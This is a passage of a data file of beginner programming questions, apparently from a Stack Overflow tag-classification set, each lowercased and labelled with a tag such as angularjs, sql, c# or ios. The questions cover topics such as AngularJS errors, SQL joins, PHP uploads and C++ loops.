i++) {         cout &lt;&lt; a[i] &lt;&lt;    ;     }     cout &lt;&lt; endl; } </code></pre>,c++
conversion from asp.net web site(.aspx pages) to wcf service  i have developed a web site using asp.net. in the web site if user enters username and password he will proceed to the next pages say home.aspx  dailyreport.aspx which is correct. but the problem i m facing is if the user enters url of the any page say domainname/projectname/dailyreport  then he will be in the desired page. then what is the use of having login page... how to deal with this issue....can anybody please help me. please as soosn as possible....,asp.net
angular.js internet explorer 11 cannot inject $location  i m trying to use <code>$location</code> in <code>angular.js</code> to provide <code>queryparams</code>. my code below works perfectly in firefox  but doesn t work in internet explorer 11. if i remove the <code>$location</code> code  then it works.   <pre><code>app.config([ $locationprovider   function($locationprovider) {     $locationprovider.html5mode( true ); }]);  app.controller( appname           [ $scope    $location    $http   function($scope  $location  $http) {             alert(json.stringify($location)); }]); </code></pre>   the error is difficult to understand:   <blockquote>    error: invalid argument.       at xa (<a href= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.9  rel= nofollow >https://ajax.googleapis.com/ajax/libs/angularjs/1.4.9</a> /angular.min.js:147:373)       at hd (<a href= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js:97:498  rel= nofollow >https://ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js:97:498</a>)       ...  </blockquote>   is there something i m doing wrong  is there another way i can extract the <code>queryparams</code> from ie 11 besides <code>$location.search()</code>     thanks!,angularjs
sql- looking up value across tables  i have two tables as below:    <pre><code>highschooler id  name         grade 1510    jordan         9 1689    gabriel        9 1381    tiffany        9 1709    cassandra      9 1101    haley         10 1782    andrew        10 1468    kris          10 1641    brittany      10 1247    alexis        11 1316    austin        11 1911    gabriel       11 1501    jessica       11 1304    jordan        12 1025    john          12 1934    kyle          12 1661    logan         12  friends id1 id2 1689    1709 1709    1689 1782    1709 1911    1247 1247    1468 1641    1468 1316    1304 1501    1934 1934    1501 1025    1101 </code></pre>   i need to create a table that has the name and grade of people who are friends with each other as given in the  friends  table. i basically need to look up the name and grade of each id given in the friends table.     i have two select statements that look up the name and grade for id1 and id2 separately.     <pre><code>select name grade from highschooler where id in (select id1 from friends) </code></pre>   and    <pre><code>select name grade from highschooler where id in (select id2 from friends) </code></pre>   however  i cannot figure out how to get a table that looks like this:   <pre><code>name1 grade1 name2 grade2 gabriel 9    cassandra 9 </code></pre>   i have tried concatanating the two select statements as well as union but neither work for this situation.     i am new to sql.  any help is very much appreciated!,sql
angular app doesn t bootstrap and doesn t throw any errors  this isn t th first time this has happened but angular simply doesn t bootstrap the application and throws no errors to the console.   <pre><code> angular.element(document).ready(function () {         angular.bootstrap(document  [ applicationmodule ]);     }); </code></pre>   other times i ve been able to get out of the situation because i knew what caused it  but now i m not sure why and angular is not telling me a thing.    i just get an empty ng-view and applicationmodule.run() doesn t get called.    i tried something silly like wrapping all of angular.js in a try/catch block but it doesn t output anything.,angularjs
change project name in android studio 2.x and runs into error  settings.gradle  not found  i tried to use  refactor  to change the project name but runs into an error message box  settigns.gradle file not found . why is that,android
jquery - showing and hiding multiple divs  im trying to learn some javascript/jquery  but im not making very much progress..    i have multiple divs like this :   <pre><code> &lt;div class= article1  style= display:none; &gt;content&lt;/div&gt;  &lt;div class= article2  style= display:none; &gt;content&lt;/div&gt;  &lt;div class= article3  style= display:none; &gt;content&lt;/div&gt; </code></pre>   under each class i have a text link  once clicked on it i want it to show the specific div.    like this :   <pre><code>&lt;a href= javascript:toggle(1);  class= showarticle &gt;view article&lt;/a&gt; </code></pre>   so i thought i d make a function that i can give an id  and shows the div on click  this is what i tried :   <pre><code>&lt;script&gt;                function toggle( id ) {             $( .showarticle ).click(function()){                $( .article  + id).show();                 }                 }   &lt;/script&gt; </code></pre>   however nothing happens  but i can t see anything wrong..    could someone tell me what im not doing right here     thanks    edit : i have included jquery library ;),jquery
alphanumeric in a string  i need help with fixing a code.  i need it to look at the first two characters of the subclass. if it is alphanumeric (letters and number) the <code>subclassize=7</code>; if both the first two characters are numeric <code>subclassize=4</code>. this is the code:   <pre><code>int startrentex=0; int rentexsize=0; //int totalsize=0; int subclasssize=7; //int descriptionsize=9; int currentlength=[enteredtext length]; if(appdata.appsettings.barcodestyle==0) {     if(currentlength&gt;1){          nsstring *str = [enteredtext substringwithrange:nsmakerange(1  1)];         int testint=[str intvalue];          if(![str isequaltostring:@ 0 ] &amp;&amp; testint==0)             subclasssize=7;         else             subclasssize=4;         //a3fs12345hi there         //1b3456712345hi there     }     startrentex=subclasssize;     if(currentlength&gt;subclasssize)     {         bool isspace=yes; </code></pre>,objective-c
moving to previous form  i m trying to move back to the previous form with the information i filled out on it  but when i click the previous button it just generates a new previous form. heres my code for both next and previous. is there any way to move back to a previous form with the information i put in already without generating a new previous form  thanks.   <pre><code>//moves to next form     public void next()     {         form3 f4 = new form3();         f4.show(this);         hide();     }      //moves to previous form     public void back()     {         form1 f1 = new form1();         f1.show(this);         hide();     } </code></pre>,c#
mysql: get previous row  i have the following query:   <pre><code>select c.called as customer  c.calling as company  date_format(c.`end`  %y-%m-%d ) as _date          @g := if(@prevcomp &lt;&gt; c.calling and @prevcust = c.called and @prevday = date_format(c.`end`  %y-%m-%d )  1  0) as gain         @prevcomp := c.called as prevcomp         @prevcust := c.calling as prevcust          @prevday := date_format(c.`end`  %y-%m-%d ) as prevdate  from cdrdata_archive c        (select @prevcomp := 0  @prevcust := 0  @prevday := 0) prevvals order by c.called  date_format(c.`end`  %y-%m-%d ) </code></pre>   however this outputs the same row values for <code>prevcust</code>  <code>prevcompany</code> and <code>prevdate</code>:   <pre><code>customer      company      date        prevcust   prevcomp   prevdate  00140443360  08434599117  2014-01-28  00140443360  08434599117  2014-01-28 00475172558  08434599218  2014-01-27  00475172558  08434599218  2014-01-27 00475172558  08434599118  2014-01-27  00475172558  08434599118  2014-01-27 </code></pre>   the desired output should be:   <pre><code>customer      company      date        prevcust   prevcomp   prevdate  00140443360  08834599117  2014-01-28     null          null        null  00475172558  08834599218  2014-01-27  00140443360  08834599117  2014-01-28 00475136333  08834098771  2014-01-22  00475172558  08834599218  2014-01-27 </code></pre>,mysql
how to get a default value when a max() column does not exist  so here is a sample query illustrating a simplified version of the problem i am having:    <pre><code>select max_discount  product_name from products     left join (           select if(max(discount_percentage) is not null  max(discount_percentage)  5) as max_discount              product_id              order_id         from orders             left join discounts on discounts.id = orders.discount_id         group by order_id     ) as alias on alias.product_id = products.product_id group by alias.order_id </code></pre>   in this case  i can have multiple  discounts  (vouchers) related to the same order. but if there are multiple discounts related to a single order  i only want to actually apply the highest valued discount only. for example if you have a voucher for 50% off and another voucher for 20% off  in this case they would both be stored in the database. but i don t want to give you 70% off  i want to give you 50% off (the higher of the two). thus  the subquery that selects the <code>max()</code> value.     if you don t have any discount vouchers  i still want to give you 5% off  because that s our promotion right now. therefore the other part of the <code>if</code> tries to set it to 5.    the problem here is that  even though my condition says <code>max() is not null</code>  and i am trying to set it to 5 when it is <code>null</code>  it still comes up as <code>null</code> in the results.     when i do an <code>if</code> condition with a simple field that can contain a <code>null</code> value  for example <code>select name  if(age is null   unknown   age) as age from people</code>  then it works as expected. so why doesn t it work with a <code>max()</code> subquery,mysql
how can i modify this random double generator to return more zeros  i have this extension method that  given a minimum and maximum double  generates a double between them.   <pre><code>    public static double nextdouble(this random random  double minvalue  double maxvalue)     {         return random.nextdouble() * (maxvalue - minvalue) + minvalue;       } </code></pre>   i mainly use this extension method to generate random dollar amounts  and sometimes 0 dollars is an ok value! that being said  i need to increase the odds of returning a 0. more specifically  if i try the following:   <pre><code>        random rando = new random();         list&lt;double&gt; doubles = new list&lt;double&gt;();         for (int i = 0; i &lt; 100000; i++)         {             double d = rando.nextdouble(0  .25);             console.writeline(d.tostring());                        } </code></pre>   i don t get a single zero.     a less than ideal solution i thought of is i can just catch every value less than 1 and return 0 instead.    <pre><code>public static double nextdouble(this random random  double minvalue  double maxvalue)     {         double d = random.nextdouble() * (maxvalue - minvalue) + minvalue;          if (d &lt; 1)         {             return 0;         }          return d;     } </code></pre>   this obviously removes the ability to return values less than 1 (.25  .50  .125  etc..). i m looking for some clever ways around this!,c#
visual studio crashes when adding service reference with exception code: 0xc00000fd  getting below exception when adding service reference:       <pre><code>    faulting application name: devenv.exe  version: 10.0.30319.1  time stamp: 0x4ba1fab3     faulting module name: clr.dll  version: 4.0.30319.1026  time stamp: 0x53b50961     exception code: 0xc00000fd     fault offset: 0x00001b67     faulting process id: 0x1734     faulting application start time: 0x01d0b86fc763ca2a     faulting application path: c:\program files (x86)\microsoft visual studio 10.0\common7\ide\devenv.exe     faulting module path: c:\windows\microsoft.net\framework\v4.0.30319\clr.dll     report id: 0b7c1d39-2465-11e5-be25-00270e0fc056 </code></pre>,.net
count the amount of integers in every line from file c++  my task is to count the amount of integers in every line from a txt file in c++.     the file format is :     <pre><code>    steve road_43 st43 32 45 2 5 7 23 545      john road_21 dt_4 3 4 5 12 31 0 </code></pre>   finally the format is &lt; string string string int int int int.....int> the problem is that the amount of integers in every line is different  so how can i know the amount of integers in every line      my code ->   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;sstream&gt; #include &lt;ctype.h&gt; #include &lt;string&gt;   using namespace std ;     int main() {    string file_name            temp ;      int counter_0 = 0 ;      cout &lt;&lt;   please enter the file-name :    ;   getline ( cin  file_name ) ;   cout &lt;&lt; endl &lt;&lt; endl &lt;&lt; endl ;     ifstream fp_1 ( file_name ) ;     if ( fp_1.is_open(  ) )   {        while ( ! fp_1.eof( ) )       {          getline ( fp_1  temp ) ;         cout &lt;&lt; temp;         stringstream str ( temp ) ;           int x ;           while ( str &gt;&gt; x )                        {             counter_0 ++ ;          }          cout &lt;&lt;      &lt;&lt; counter_0 &lt;&lt;endl;         counter_0 = 0;        }    }   else   {       exit ( 1 ) ;   }     fp_1.close ( ) ;     system (   pause   ) ;  } </code></pre>   counter_0 is always zero..does not count integers,c++
issue with program not solving equivalent capacitance (5) in series.  link:<a href= https://imgur.com/a/1a0md  rel= nofollow noreferrer >http://imgur.com/a/1a0md</a> i input the values  but the output isn t working  even after i debugged. the question asks the user for the coulombs and voltage and my program  should  compute the coulomb  as well as its sum (assume its in series).          <pre><code>#include &lt;stdio.h&gt;  typedef struct { double q;  // charge on the capacitor double v; // voltage } capacitor; // structure for 5 cpacitors in series  typedef struct { capacitor c1; capacitor c2; capacitor c3; capacitor c4; } capacitors_in_series; double equivalentcapacitance(capacitors_in_series); void main(void) {  capacitors_in_series sercaps; double eqcapacitance; // get input from the user printf( please give the charge (coulombs) and voltage (volts) for capacitor             1: \n ); scanf( %lf%lf  &amp;sercaps.c1.q  &amp;sercaps.c1.v);  printf( please give the charge (coulombs) and voltage (volts) for capacitor   2: \n ); scanf( %lf%lf  &amp;sercaps.c2.q  &amp;sercaps.c2.v);  printf( please give the charge (coulombs) and voltage (volts) for capacitor 3: \n ); scanf( %lf%lf  &amp;sercaps.c2.q  &amp;sercaps.c3.v);  printf( please give the charge (coulombs) and voltage (volts) for capacitor 4: \n ); scanf( %lf%lf  &amp;sercaps.c4.q  &amp;sercaps.c4.v); // compute the equivalent capacitor eqcapacitance = equivalentcapacitance(sercaps);  // display results printf( capacitors in series: \n ); printf( charge (coulombs)     voltage (volts)    capacitance (f)\n ); printf(     capacitor 1: %15.2e  %15.2f   %15.2e\n   sercaps.c1.q  sercaps.c1.v  sercaps.c1.q/sercaps.c1.v); printf(     capacitor 2: %15.2e  %15.2f   %15.2e\n   sercaps.c2.q  sercaps.c2.v  sercaps.c2.q/sercaps.c2.v); printf(     capacitor 3: %15.2e  %15.2f   %15.2e\n   sercaps.c3.q  sercaps.c3.v  sercaps.c3.q/sercaps.c3.v); printf(     capacitor 4: %15.2e  %15.2f   %15.2e\n   sercaps.c4.q  sercaps.c4.v  sercaps.c4.q/sercaps.c3.v); printf( equivalent capacitance: %.2e\n  eqcapacitance); }  double equivalentcapacitance(capacitors_in_series scaps) { // variable declations double eqcap;  // equivalent capacitance // instructions eqcap = scaps.c1.v/scaps.c1.q;  // set to 1/c1 eqcap = eqcap + scaps.c2.v/scaps.c2.q;  // adds 1/c2 eqcap = eqcap + scaps.c3.v/scaps.c3.q;  // adds 1/c3 eqcap = eqcap + scaps.c4.v/scaps.c4.q;  // adds 1/c4 eqcap = 1/eqcap;  // sets to 1/(1/c1 + 1/c2 ...) return(eqcap); } </code></pre>,c
injecting $resource throwing exception - cannot read property  then  of undefined  iam new to angularjs. trying to understand more on $resource and $http methods. whatever i implemented to communicate with the server using $resource is throwing exception at the initial point on injection. ($http all the actions are working fine)     code shown below:   <pre><code>  use strict ;      angular.module( angularapp ).constant( baseurl    http://localhost:3000/ )         .factory( accountfactory   [ $resource   baseurl   function ($resource  baseurl) {              var accountobj = {};              var accounts = $resource(baseurl +  getallaccounts                   {                     userid:  @id                  }             );              accountobj.getallaccounts = function () {                 accounts.get(function (req) {                     console.log( success );                 }  function (req) {                     console.log( failure );                 });             }              return accountobj;         }]); </code></pre>   <a href= http://i.stack.imgur.com/qalp4.jpg  rel= nofollow >see the browser console</a>    please correct me if iam doing anything wrong in the above implementation.,angularjs
does every ios project have only one window or does it often do so   please look at the title.    and what situations needs two or more windows     thank you for answering my question. i am a beginner.,ios
what s the best way to get speakers for my users group   we just started a .net users group in missoula  mt.  it seems hard to get members to speak  but many people like to attend.  what is the best way to encourage attenders to become speakers     we usually have two 1-hour presentations per meeting.,.net
speechkit does not support architecture x86_64   i am using xcode 6.4  and i have a ios 8.4 app with speechkit framework. it can run successfully on ipad 2  ipad retina  iphone 4s and iphone 5 simulator. but for other simulators(ipad air  iphone 5s  iphone 6plus  iphone 6  resizable ipad  resizable iphone)  i got the following errors when compile:   <pre><code>undefined symbols for architecture x86_64:    _objc_class_$_skearcon      _objc_class_$_skrecognizer     _objc_class_$_skvocalizer     _objc_class_$_speechkit     _sksearchrecognizertype  </code></pre>   so anyone has idea on how to solve this problem     also  i have added a lot frameworks that speechkit might depends on:   <pre><code>speechkit.framework audiotoolbox.framework systemconfiguration.framework quartzcore.framework foundation.framework uikit.framework coregraphics.framework avfoundation.framework security.framework cfnetwork.framework </code></pre>,ios
check if entity contains all components through enum flags  i m struggling a bit to understand the iteration piece here of how i would check if if the <code>entity</code> variable below has <strong>all</strong> of the <code>enum.component</code> entries in the variable <code>comps</code>.  i can achieve this relatively straight-forwardly if i know there will be only one component via a <code>.foreach</code> and a basic comparison (e.g. <code>entity.foreach(comp =&gt; console.writeline(comp.component == enum.component.experience));</code>)  but not if i need to check for multiple components.    i m trying to understand the nuances of c# a bit better  so i don t want to brute force this with an actual <code>foreach</code> (in the conventional <code>foreach(var x in exes)</code> type of way) or something similar  but really want to understand how i would implement this via these objects through these <code>ienumerable</code> functions and working with lambda expressions.  as such  i need an answer utilizing these things  unless of course this is not technically possible  though probably it is  i m guessing.   <pre><code>// the component.icomponent interface (it s in the component namespace) interface icomponent {     enum.component component {         get;     } }  // the enum.component (it s in the enum namespace) enum component {     experience      health }  // the component.experience (it s in the component namespace) class experience : icomponent {     public thresholdvalue xp;     public int level;      public enum.component component {         get {             return enum.component.experience;         }     } }  // it probably doesn t matter  but entity_manager is this type dictionary&lt;guid  list&lt;component.icomponent&gt;&gt;   // trial code beings here: guid guid = new guid(); entity_manager.getentities().add(guid  new list&lt;component.icomponent&gt; { new component.experience(50  3)  new component.health(20  25) }); list&lt;component.icomponent&gt; entity = entity_manager.getentities()[new guid()];  enum.component[] comps = new enum.component[] {     enum.component.experience      enum.component.health };  // this is where i don t know what to do and know this is wrong comps.all(v =&gt; entity.foreach(comp =&gt; console.writeline(comp.component == v))); </code></pre>,c#
"how to clear input field with ajax  how can i reset (clear) my input field on success    <pre><code>&lt;input id= tagtitle  class= form-control  name= tagtitle  type= text &gt; </code></pre>   i have tried:   <pre><code>$( #tagtitle ).empty(); </code></pre>   and   <pre><code>document.getelementbyid( tagtitle ).reset(); </code></pre>   none of them works.   <h1>screen capture</h1>   <em>this site doesn t allow to upload videos so i had to use this way or link you to another website.</em> <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div style= width:100%;height:0px;position:relative;padding-bottom:72.283%; &gt;&lt;iframe src= https://streamable.com/s/avie6/njsnuh  frameborder= 0  width= 100%  height= 100%  allowfullscreen style= width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden; &gt;&lt;/iframe&gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
complex sort with multiple parameters   i have a list of tuples:   <pre><code>li = [( fink   3)  ( flip   3)  ( flock   4)  ( foo   12)  ( foot   20)  ( football   20)  ( futz   10)  ( flip   3)  ( flank   3)  ( flop   3)] </code></pre>   how can i sort the list by descent number first and then alphabetically descending  the results would be:     <pre><code>( foot   20) ( football   20) ( foo   12) ( futz   10) ( flock   4) ( fink   3) ( flip   3) ( flake   3) ( flop   3)  from operator import itemgetter  sorted_li = sorted(li  key=itemgetter(1 0)  reverse=true) </code></pre>   while the above code sorts by descending number correctly  the words are not sorted alphabetically.,python
maximum deviation from numbers in a list  how do i make a function to find the average  and the max deviation( the highest # between average and another number from list)     if the list was [1 6 8]  it should print that the max deviation is 4 and the average is 5.    i should then write another function using these two values as the arguments to output them.    what is wrong with my code  i know i should use .sort for the max deviation but i m not sure exactly how.    assume i already outputted mylist in a previous function: def list_output(mylist)   <pre><code>def code(avg max_dev):     avg = sum(mylist)/len(mylist)     max_dev =              return avg     return max_dev  def main_output(avg max_dev):     print  the average is   avg   the maximum deviation is   max_dev main_output(code(avg  max_dev)) </code></pre>,python
c++ what does return function do after if statements in loop -prime test <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt;  using std::cin; using std::cout; using std::endl;  int prime(int n) {     int i;     if (n == 1) return 0;  // zero- not prime     if (n == 2) return 1;  // one- prime     for (i = 2; i &lt;= ceil(sqrt(n)); i++) {         if (n % i == 0) return 0; // remainder is zero     }     return 1; }  int main() {     unsigned long n;     while (cin &gt;&gt; n) {         cout &lt;&lt; prime(n) &lt;&lt; endl;     } } </code></pre>   i know that 0 means not prime and 1 means prime. can someone please explain how are all the return functions used to accomplish this     why not use <code>cout &lt;&lt;  0 </code> for not prime and <code>cout &lt;&lt;  1 </code> for prime,c++
got issue with apple certificate request  i got a weird problem with certificate request that i submit successfully  but when trying to approve it  apple said that...error without any detailed description in the history tab.    i did it many times  these steps are quite easy and always success but this time. i double checked all related things about how to generate csr that: awdrca  email  ocsp  key size...etc everything seems right.    anybody meet this problem please help me.,ios
how to back in the current tabbar controller in ios   i have a problem about my module in a project that we develop. we are three developers working on it  this is my problem.    the first developer using navigation controller and me  i am using tabbar controller and link it from his navigation to my tabbar controller which work fine. and now    i put my tabbar controller inside navigation controller then i have 2 tabbar item on it.    the first tab we just name it tab a. here s the flow of my module:    taba -> tablinka which i hide the tabbar on this class -> tablinkb -> tablinkc    and now my problem is how to back on my taba which the tabbar are shown from tablinkc.,ios
why should you runtime cast in c++   can someone please explain the difference between the following three lines of code:   <pre><code>char *text = static_cast&lt;char*&gt;(globallock(hdata)); char *text = (char*)globallock(hdata); char *text = dynamic_cast&lt;char*&gt;(globallock(hdata)); </code></pre>   i understand that the compiler will build some kind of reference tables for c++ runtime casting  but why  what is the advantage here,c++
handling arrays of html input elements with request.form like php  how can i properly receive these array of inputs on asp.net    <pre><code>&lt;input type=hidden name= field[name][]  value= alex  /&gt; &lt;input type=hidden name= field[name][]  value= mark  /&gt; &lt;input type=hidden name= field[name][]  value= helen  /&gt;  &lt;input type=hidden name= field[age][]  value= 22  /&gt; &lt;input type=hidden name= field[age][]  value= 30  /&gt; &lt;input type=hidden name= field[age][]  value= 29  /&gt; </code></pre>   in php you can access field by <code>$field = $_post[ field ]</code>    <code>$field[ name ]</code> and <code>$field[ age ]</code> are simply arrays containing names and ages.,asp.net
displaying all nodes in linked list  this is part of linked list class to display all nodes.    what this method is trying to do is set the front (yes  i am using front instead of head which doesn t matter but i m implementing linked list based queue) to a pointer  in this case called  cur  and check if cur next node is not null  if it is not then get the element (two parts  share and price) and set the cur to the next node  rinse and repeat until it the next cur (before it steps into) is null  in that case it exits the loop and just print that last cur (before the null aka tail/rear). add all elements to s (by concatenating)   <pre><code>public object displayall() {         node cur = front;         object s = null;         while(cur.getnext() != null) {              s += cur.getshare() +   @   + cur.getprice();             cur.setnext(cur);         }         s += cur.getshare() +   @   + cur.getprice();         return s; } </code></pre>   <strong>output</strong>: it repeats the first element countless times. <strong>intended output</strong>: i don t want the repetition but display all elements of all nodes.    what am i missing  any pointers please,java
angularjs: open default mail application and populate to and subject via link  i m trying to open a link using <code>ng-href</code> and as soon as i click on it  i need it to open an email address and populate its to  subject and it s body field. can this be made possible     i tried this     <pre><code>&lt;a ng-click=”sendmail($event)” href=”gmail.com” /&gt;  $scope.sendmail = function($event)         {             if($scope.showmaillink == true )             {                 $event.preventdefault();                 window.location = $event.target.href;                 $window.open( mailto:veron@gmail.com subject=hello&amp;body=fggf_self );             }         }; </code></pre>   this is what i ve tried and it isn t actually  right. is this a valid approach,angularjs
c++ sleep time for alphabet equivalent numerical code  <strong>2nd edit details added with change code</strong>    i have an alphabet equivalent numerical code in array of string that i want to be output when a word or sentence is input. here is my c++ code for that. it gets user input &amp; output a beep for equivalent time for all numerical digit for all alphabets in a full word like morse code would do. basically i need this for my embedded application but 1st i want to have it working in typical c then i move it to embedded.    currently it works like e.g. alphabet  i  has numerical code 24  when executed &amp;  i  is given as input  it beeps first two times with a sleep time of inner_loop between those i.e. 450. then it sleeps for outer_loop i.e. 700 and then beeps for 4 times with inner_loop sleep time. so it is possible to recognize that it beeps 2 times  wait &amp; then beeps 4 times  i.e. transmitting  24  that is code for  i . if i input  ii  it does same twice i.e. starts beep for 2nd  i  after inner_loop sleep time so code appears like 2424. it s not possible to recognize it was was 24 &amp; again 24. it should work like 24 read as described before than a looooong wait &amp; 24 again raed  so user may recognize code for two alphabets i.e.  ii  or any other combination.      what i want it to introduce a third_sleep time that occurs between any two alphabets of same word so that each alphabet code can be read separately. currently it s only between numerical code of same alphabet.             here is my code so far:         <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;sstream&gt; #include &lt;windows.h&gt;  using namespace std;  string texttopattern(char c) { //hello world again //125-15-123-123-135 1346-135-1235-123-145 1-1245-1-24-1345      string alphabet =  abcdefghijklmnopqrstuvwqyz ; //osv     string code[] = { 1   12   14   145    15    124    1245                          125    24    245    13    123    134                          1345    135    1234    12345    1235    234    2345                          136    1236    1346    13456    1356    12346 };     int index = alphabet.find(c);     if(index!=-1)         return code[index];     else         return    ; }  int main() {     const int outer_sleep = 700                inner_sleep = 450;     int n;     string ord;     getline(cin  ord);     string code=  ;     for(int i=0; i&lt;ord.length(); i++)     {         code += texttopattern(ord[i]);     }      for(int i = 0; i&lt;code.length(); i++)     {         n = code[i] -  0 ;         for(int j=0; j&lt;n; j++)         {             cout&lt;&lt; \a ;             sleep(inner_sleep);         }         sleep(outer_sleep);     }     return 0; } </code></pre>,c++
how to get parameters on page_load  i am trying to send url parameters to an .aspx page. now i need to get thoose parameters on page_load() function.    i am using this code to call the new page. how do i need to add the parameters.   <pre><code>window.location =  attendanceexcelreport.aspx ; </code></pre>   then what do i need to do in order to get those parameters on the page_load function.    thanks,asp.net
run application every minute on ios  i want to run my application every minute in background on ios. can i do this   is there any example      thank you.,ios
show no data available message when ng-options is empty in select   i have created an select element as    <pre><code>&lt;label class= item item-select no-border-bottom padding full-width custom-back &gt;   &lt;div class= input-label &gt;select time slot&lt;/div&gt;    &lt;select ng-model= addappointment.timeslot  name= timeslot  class= custom-back  ng-disabled= !addappointment.date  ng-options= timeslot as timeslot for timeslot in availabletimeslots  required&gt;     &lt;/select&gt; &lt;/label&gt; </code></pre>   i would like a option having message <code>no data</code> in select when ng-options array is empty.,angularjs
how can i do event on text box in angular   i have a text box that show when i click on checkbox and i need to make an event on it that can make me bind it to object from db    html:   <pre><code>&lt;div ng-repeat= feture in featureenumarray &gt;     &lt;input id= txtchkfet  type= checkbox  ng-model= feture.ischecked  /&gt;     {{feture.displaytext}}     &lt;div ng-show= feture.ischecked  &gt;         &lt;input class= form-control  type= text  ng-model= feture.value  ng-change= getfeatureid(feture)  id= txtvalue  placeholder= type feature value  /&gt;     &lt;/div&gt;     &lt;div class= label label-danger  ng-show= feture.ischecked &amp;&amp; !feture.value &gt;         type value     &lt;/div&gt; &lt;/div&gt; </code></pre>   and in angular controller i did like this :    <pre><code>  $scope.getfeatureid = function (feture) {         if (feture.ischecked) {             $scope.planfeature = angular.copy(feture);             $scope.planfeaturetemp.featureid = $scope.planfeature.id;             $scope.planfeaturetemp.value = $scope.planfeature.value;             $scope.planfeature = [];         }         else {             var index = $scope.jadminplan.planfeaturevalues.indexof(feture);             $scope.jadminplan.planfeaturevalues.splice(index  1);         }         if (!$scope.$$phase) $scope.$apply();     }; </code></pre>,angularjs
sql query that will retrieve multiple records when only one meets the criteria  i have a table with multiple records for each account  each record has a unit# with a balance.  i want to select the account if one of the units has a negative balance and return all records for that account including the record with the negative unit.  for example:  acct # 1234 has two records (each having a different unit# and balance). one unit has a negative balance and one has a positive balance.  i want to retrieve both the unit records for any account where one unit is negative.  how would i accomplish this,sql
how to set date format in datatable in javascript  i am new to javascript  i am getting date from query  but i want change another formate   <pre><code>$( #example1 ).datatable({           ajax : {              url :  /txnlist/data                data : { date :[[${date}]]}               datasrc :            }            columns : [             {  data :  id  }              {  data :  accountnumber  }              {  data :  transactiondate } // date:032716         ]  }); </code></pre>   here i am getting date <code>mmddyy</code> but i want <code>yyyy-dd-mm</code>. how to change it,javascript
how to select where multiple rows have the same values in two columns  respectively   for example  from the following table i would want to get back teams 2 and 4 because they have multiple players with the same name.    <pre><code>--team-- | --player--    1     |    john    1     |    billy    2     |    dillan    2     |    brady    2     |    brady    3     |    john    4     |    gary    4     |    gary </code></pre>,sql
ajax star rating control not updating  i am using ajax based star rating control... i have created a usercontrol for it... on my page i have placed the usercontrol... their is strange behaviour... on rating_changedd event i set the readonly to true and update the database... but after postback when page reload it still allow me to update the rating...     how can i make the star rating control readonly on postback,asp.net
error in uploading file larger than 2 mb  i have 2 php files: 1st name form_upload.php   <pre><code> &lt;html&gt;     &lt;head&gt;&lt;title&gt;file upload&lt;/title&gt;&lt;/head&gt;     &lt;body&gt;     &lt;ol&gt;         &lt;li&gt;enter the file name of the product picture you want to upload or the the browse button to navigate to the picture file&lt;/li&gt;         &lt;li&gt;when the path to the picture file shows in the text field  click the upload picture&lt;/li&gt;     &lt;/ol&gt;      &lt;form enctype= multipart/form-data  action= uploadfile.php  method= post &gt;     &lt;input type= hidden  name= max_file_size  value= 500000 /&gt;     &lt;input type= file  name= pix  size= 60 /&gt;     &lt;p&gt;&lt;input type= submit  name= upload  value= upload picture /&gt;&lt;/p&gt;     &lt;/form&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   2nd: uploadfile.php   <pre><code>&lt; php  if(!isset($_post[ upload ])) {     include( form_upload.php ); } else {     if($_files[ pix ][ tmp_name ]== none )     {         echo  file did not successfully upload. check the file size. file must be less than 500k ;         include( form_upload.php );         exit();     }     if(!preg_match( /image\/jpeg/  $_files[ pix ][ type ]))     {         echo  only jpg files are allowed. please try another file ;         include( form_upload.php );         exit();     }     else     {         $destination= c:\xampp\htdocs\test\hinh\  .$_files[ pix ][ name ];         $temp_file=$_files[ pix ][ tmp_name ];             move_uploaded_file($temp_file $destination);         echo  &lt;p&gt;the file has successfully uploaded :{$_files[ pix ][ name ]} {$_files[ pix ][ type ]} ({$_files[ pix ][ size ]}) &lt;/p&gt; ;       } } </code></pre>   i can not output the first statement. when i upload a picture that larger than 2mb  it always output the second one. did i do something wrong,php
rails: update parent record  when child get s saved  i have the following structure: an <code>order</code> <code>has_many</code> sales (and a <code>sale</code> <code>belongs_to</code> an <code>order</code>).    <ul> <li>each sale has a <code>quantity</code> and a <code>price</code> column.</li> <li>each order has a <code>totalprice</code> column</li> </ul>   the <code>totalprice</code> is composed by <code>price</code> x <code>quantity</code> x <code>12</code>  out of the sales records that belonging to the parent <code>order</code>.    this is how my calculation looks inside the order model:   <pre><code>class order &lt; activerecord::base   has_many :sales  dependent: :destroy   after_save :calc    def price    sales.to_a.sum { |item| item.price }   end    def totalpricex12    totalpricex12 = price*12   end    def totaldiscount    sales.to_a.sum { |item| item.discount }   end    def calc    calc = (totalpricex12.to_f)-(totaldiscount.to_f)    self.update_columns(totalprice: calc)   end end </code></pre>   <strong>the problem is:</strong> <code>totalprice</code> only gets updated  when the <code>order</code> gets updated or saved  but not if a new <code>sale</code> gets added or deleted.,ruby-on-rails
replace null with id from right table in join  i am doing a select with right join. and i have some rows with ids from table a but not all rows have corresponding ids in table b. i wish to replace null ids from table b with ids of table a based on other row. that alternative row has no null values. how can it be done     <img src= https://i.stack.imgur.com/37b2y.jpg  alt= results sample/results desired >,sql
how to make alphanumeric editext in capital case in android  in my application i have an edittext in which a user can alphanumeric string. now the point is i want that whatever the aplhanumeric or alphabetic string  he types that should be converted into the capital case. for ex: if the edittext input is like: <br>   <blockquote>    sdhq8273dyp3  </blockquote>   in editext when user types it should be converted to captial case   <blockquote>    shhq8273dyp3  </blockquote>   is there any way. if in xml i am setting the attribute <strong>android:textallcaps= true </strong> it is giving me the error.  so how can we make the editext aplhanumeric character to uppercase.,android
